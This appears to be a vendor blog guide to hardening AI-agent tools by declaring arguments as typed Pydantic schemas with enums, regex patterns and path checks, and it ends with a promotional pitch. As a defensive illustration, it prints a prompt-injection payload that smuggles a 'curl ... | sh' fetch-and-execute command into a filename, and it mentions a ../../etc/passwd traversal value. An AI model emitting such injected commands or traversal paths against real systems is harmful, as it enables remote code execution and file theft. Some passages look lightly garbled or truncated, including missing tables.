Parameterized Tools: Binding Agent Arguments to Types and Enums

The core method is to stop describing arguments in a natural language docstring and start declaring them in code, then generate the JSON Schema the model sees from that declaration. JSON Schema defines allowed types, required fields, value constraints, and nested shapes, which is why it works as a contract between the model and your function the structured outputs guide.

A minimal Python declaration looks like this:

from enum import Enum
from pydantic import BaseModel, Field

class Mode(str, Enum):
    read = "read"
    write = "write"
    list = "list"

class FileRequest(BaseModel):
    mode: Mode
    path: str = Field(pattern=r"^[a-z0-9_\-/]{1,120}$")
    max_bytes: int = Field(ge=1, le=1_000_000)

Three decisions are doing the security work here. mode is an enum, so the only values the validator accepts are read, write, and list. path carries a pattern that permits lowercase letters, digits, underscore, hyphen, and slash, and nothing else, so no space, semicolon, pipe, backtick, or dollar sign can pass. max_bytes has an explicit range, so the model cannot request a terabyte read. Set Bash(model_config={"extra": "forbid"}) or the equivalent in your framework so an injected "command" key is rejected outright rather than dropped quietly.

One caveat worth knowing before you rely on provider-side schema enforcement: strict structured output narrows the interface but does not prove domain correctness, and provider support for schema keywords varies, so application-side validation still belongs in the path the TrueFoundry analysis. Treat the model-facing schema as a first filter and your validator as the authority.

Consider a naive tool that lets an agent inspect a log file by running a shell command:

import subprocess
def tail_log(filename: str) -> str:
    return subprocess.check_output(f"tail -n 50 {filename}", shell=True)

The schema for this tool is one string with no constraints. A model that has read an untrusted email containing instructions can emit filename = "app.log; curl https://example.org/x | sh", and shell=True executes the whole thing. The OWASP overview lists exactly this escalation path, from injected instructions through an insecure backend function to command execution the OWASP prompt injection overview. Note that a denylist would not reliably save you: a study of 1,709 real-world command denylists found that 69.0 to 98.6 percent were fragile, meaning bypass commands existed that the list failed to block the denylist fragility study.

The parameterized version removes the shell entirely and constrains the argument:

class LogRequest(BaseModel):
    model_config = {"extra": "forbid"}
    filename: str = Field(pattern=r"^[a-z0-9_\-]{1,64}\.log$")
    lines: int = Field(ge=1, le=500)

def tail_log(req: LogRequest) -> str:
    base = Path("/var/log/app").resolve()
    target = (base / req.filename).resolve()
    if base not in target.parents:
        raise ValueError("path escapes base directory")
    return "".join(target.read_text().splitlines(keepends=True)[-req.lines:])

The pattern admits app.log and rejects app.log; curl ... because the semicolon and space are outside the character class. The subprocess call is gone, so there is no shell to interpret metacharacters even if a future edit loosens the pattern. The resolve() check is a second, independent defense. If you want to push the boundary further, the design-patterns work on securing LLM agents argues for constraining agent action space so arbitrary tasks become inexpressible, which is exactly what a closed enum plus a tight pattern achieves the design patterns paper.

Path traversal is the same failure with different punctuation. A tool that accepts path: str and opens it directly lets a model emit ../../etc/passwd or an absolute path, whether through a crafted request or an injected instruction in a file it just read. The small-business and enterprise writeups on the trifecta keep landing on the same point: agents execute with their full privileges, so one bad argument inherits everything the agent can reach the Oso analysis.

The decision rule for file arguments is to accept an identifier, not a path. Declare a document ID with a pattern, then map it to a path in code that the model never influences:

class DocRequest(BaseModel):
    model_config = {"extra": "forbid"}
    doc_id: str = Field(pattern=r"^doc_[0-9a-f]{8}$")
    section: int = Field(ge=0, le=40)

DOC_ROOT = Path("/srv/docs").resolve()

def read_doc(req: DocRequest) -> str:
    target = (DOC_ROOT / f"{req.doc_id}.md").resolve()
    if not str(target).startswith(str(DOC_ROOT) + "/"):
        raise ValueError("resolved outside document root")
    return target.read_text()

Compare the two designs in one table:

The insight the first search result usually misses: patterns and enums are not just validation, they are an authorization decision expressed as syntax. If a value cannot be expressed, it cannot be requested, and the argument stops being a communication channel from untrusted content to your infrastructure.

Two implementation details separate a working gate from a flaky one.

First, reject unknown keys. If the schema allows additional properties, an injected instruction can smuggle a parameter your function later reads through **kwargs. Set the schema to forbid extra properties and fail closed. A schema that validates shape does not validate truth, and a validator that ignores what it does not recognize is not validating at all the TrueFoundry analysis.

Second, return structured errors. When validation fails, send back a JSON object naming the field, the offending value, and the allowed set, for example {"error": "invalid_value", "field": "mode", "allowed": ["read","write","list"]}. Tool argument rot, the pattern of wrong types, missing fields, and silent coercions that causes many agent failures, is largely repairable if the model is told precisely what was wrong the schema gate writeup. Keep the repair budget small, two attempts, then escalate to a human or fail the turn. Never fall back to "just run it as a string."

A checkpoint list to run against every tool you expose:

On the last row: bind SQL parameters rather than interpolating values, and the same principle applies to URLs, where you should build from an allowlisted host plus a typed path segment. The data layer equivalent, row-level security enforced at query time rather than in the app tier, exists for the same reason: deterministic enforcement survives a confused model the Snowflake RLS overview.

Typing arguments reduces blast radius but does not replace the other layers. Microsoft's guidance recommends combining deterministic and probabilistic defenses, treating the model as untrusted, and applying least privilege with short-lived credentials so a compromised agent has little to exercise the Microsoft guidance. The Frontier Model Forum's issue brief on agent security makes the same architectural point: tool authorization and delegation boundaries contain or amplify vulnerabilities, so they deserve deliberate design rather than defaults the Frontier Model Forum brief. Okta's least-privilege writeup adds the operational detail that agents often keep broad development credentials that are never narrowed once a workload stabilizes, which is how a typed tool call can still reach a system it should never touch the Okta guide.

The order of operations matters. Validate the arguments, authorize the action against the caller's actual permissions, execute with the narrowest credential that works, and log the full call for audit. Typed schemas make step one cheap and step four readable, because every logged call has the same shape.

If your team is designing the tool boundary across several lines of business and wants a second opinion on where to draw it, a short working session is often faster than a review cycle. Quanta Intelligence offers a free 30-minute discovery call to map goals and recommend an approach, with no obligation (https://quantaintelligence.ai/calendar). Teams standardizing many tools and models behind one interface often pair that with a shared inference layer, since one API key for text, image, and embedding models keeps the perimeter consistent as tools multiply: Quanta Inference (https://quantaintelligence.ai/inference).